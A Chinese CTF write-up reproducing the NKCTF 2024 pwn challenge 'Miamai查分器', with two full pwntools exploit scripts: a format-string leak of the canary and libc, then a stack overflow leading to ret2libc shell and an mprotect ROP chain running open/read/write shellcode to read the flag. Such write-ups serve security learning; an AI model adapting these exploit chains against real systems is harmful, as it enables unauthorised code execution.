../NKCTF 2024赛后复现

NKCTF 2024赛后复现

PWN

Miamai查分器

checksec后发现保护全开

image-20240325223444242 拉进IDA后分析,前面有个算分的过程,一共50次, 每次都输入16 SSS+即可绕过 image-20240325223923221 上面先输入昵称,然后打印,有个格式化字符串漏洞,正好可以用来泄露canary和libc基址 image-20240325224020427 然后进入sub_1984,这里有个栈溢出 image-20240325224111490 第一次做的时候拿到shell以后发现/flag没有读取权限,猜测是个可以getshell的ORW题(
第一版exp

from pwn import *


p = remote("node.nkctf.yuzhian.com.cn", 31910)
# p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
libc = elf.libc
context.terminal = ['tmux','splitw','-h']
# context.log_level = 'debug'


p.sendlineafter(b"Select a option:\n", b"1")
p.recvuntil(b"Input chart level and rank.\n")
for i in range(50):
    p.sendline(b"16 SSS+")

p.recvuntil(b"Calculation Done.\n")
p.sendlineafter(b"Select a option:\n", b"2")

# gdb.attach(p)

# libc
payload1 = b"%33$p"
p.sendafter(b"nickname.\n", payload1)
libc_d = int(p.recv(14), 16) - 128 - libc.sym["__libc_start_main"]
libc.address = libc_d
p.sendline()

p.sendlineafter(b"Select a option:\n", b"2")

# canary
payload1 = b"%7$p"
p.sendafter(b"nickname.\n", payload1)
canary = int(p.recv(18), 16)

# libc_start
pop_rdi_addr = libc_d + 0x000000000002a3e5
system_addr = libc.sym["system"]
bin_sh = next(libc.search(b"/bin/sh\x00"))
payload2 = b"a"*(0x30 - 0x8) + p64(canary) + b"b" * (0x8)
payload2 += p64(pop_rdi_addr + 1)
payload2 += p64(pop_rdi_addr) + p64(bin_sh) + p64(system_addr)


print(f"libc_addr: {hex(libc_d)}, canary: {hex(canary)}")
print(f"bin_sh_addr: {hex(bin_sh)}, system_addr: {hex(system_addr)}, pop_rdi: {hex(pop_rdi_addr)}")


# gdb.attach(p, "b *$rebase(0x19E9)")

p.sendafter(b"play maimai?\n", payload2)
p.interactive()

# payload2 = b"a" * (0x30 - 0x8) + p64(canary) + b"a"*0x8 + p64(main_addr)
# payload2 += p64(elf.plt["puts"]) + p64(elf.got["puts"])
# p.send(payload2)

# p.interactive()

由于保护全开,栈不可执行,所以先得构造rop利用mprotect更改栈权限,然后写入shellcode跳转执行

from pwn import *
from pwn import p64, p32, u64, u32


# p = remote("node.nkctf.yuzhian.com.cn", 31910)
p = process("./pwn")
elf = ELF("./pwn")
# libc = ELF("./libc.so.6")
libc = elf.libc
context.update(os = 'linux',arch = 'amd64')
context.terminal = ['tmux','splitw','-h']
context.log_level = 'debug'


p.sendlineafter(b"Select a option:\n", b"1")
p.recvuntil(b"Input chart level and rank.\n")
for i in range(50):
    p.sendline(b"16 SSS+")

p.recvuntil(b"Calculation Done.\n")
p.sendlineafter(b"Select a option:\n", b"2")

# gdb.attach(p)

# libc
payload1 = b"%33$p"
p.sendafter(b"nickname.\n", payload1)
libc_d = int(p.recv(14), 16) - 128 - libc.sym["__libc_start_main"]
libc.address = libc_d
p.sendline()

p.sendlineafter(b"Select a option:\n", b"2")

# canary
payload1 = b"%7$p"
p.sendafter(b"nickname.\n", payload1)
canary = int(p.recv(16), 16)
canary <<= 8

print(f"libc_addr: {hex(libc_d)}, canary: {hex(canary)}")

shellcode = asm("\n".join([
    f"mov rax, {u64(b"./flag" + bytearray([0,0]))}",
    "push rax", # push ./flag to stack, now *rsp == "./flag"
    "mov rsi, rsp", # filename, refer to the str "./flag"
    "mov rdi, 0xffffff9c", # dirfd, -100, AT_FDCWD
    "mov rdx, 0", # flags
    "mov rax, 0x101", # openat(int dirfd, const char *filename, int flags, umode_t mode)
    "syscall",

    "mov rdi, rax", # return of openat, fd
    "mov rsi, rsp", # the top of the stack, as the buf
    "mov rdx, 0x40", # count -> 0x40
    "mov rax, 0", # read(unsigned int fd, char *buf, size_t count)
    "syscall",

    "mov rdi, 1", # fd, stdout
    # rsi is still equal to rsp, so mov rsi, rsp is not needed
    # is same to the rdx
    "mov rax, 1", # write(unsigned int fd, const char *buf, size_t count)
    "syscall"
]))

pop_rdi_ret = 0x000000000002a3e5 + libc_d
pop_rsi_ret = 0x000000000002be51 + libc_d
pop_rdx_rbx_ret = 0x00000000000904a9 + libc_d

# mprotect(unsigned long start, size_t len, unsigned long prot)
# read(unsigned int fd, char *buf, size_t count)

rop = ROP(libc)
# PROT_READ 0x1
# PROT_WRITE 0x2
# PROT_EXEC 0x4
# 0x1 | 0x2 | 0x4 == 0x7
# set rdx(prot) to 0x7 RWX
rop.raw(pop_rdx_rbx_ret)
rop.raw(7)
rop.raw(0)
rop.call("mprotect", [libc.sym["__free_hook"] & (~0xfff), 0x1000])
rop.raw(pop_rdx_rbx_ret)
rop.raw(0x200)
rop.raw(0)
rop.call("read", [0, libc.sym['__free_hook']])
rop.raw(libc.sym["__free_hook"])
info(rop.dump())

# gdb.attach(p, "b *$rebase(0x19E9)")

p.sendafter(b"play maimai?\n", b"\x00" * 0x28)
p.sendlineafter(b"option:\n", b"1")
p.recvuntil(b"rank.\n")
for i in range(50):
    p.sendline(b"15.0 " + b"SSS+".ljust(5, b"\x00") + p64(canary) + b"b" * (0x8) + rop.chain())


p.sendafter(b"Done.\n", shellcode)

p.interactive()

/CTF/ /PWN/ /复现/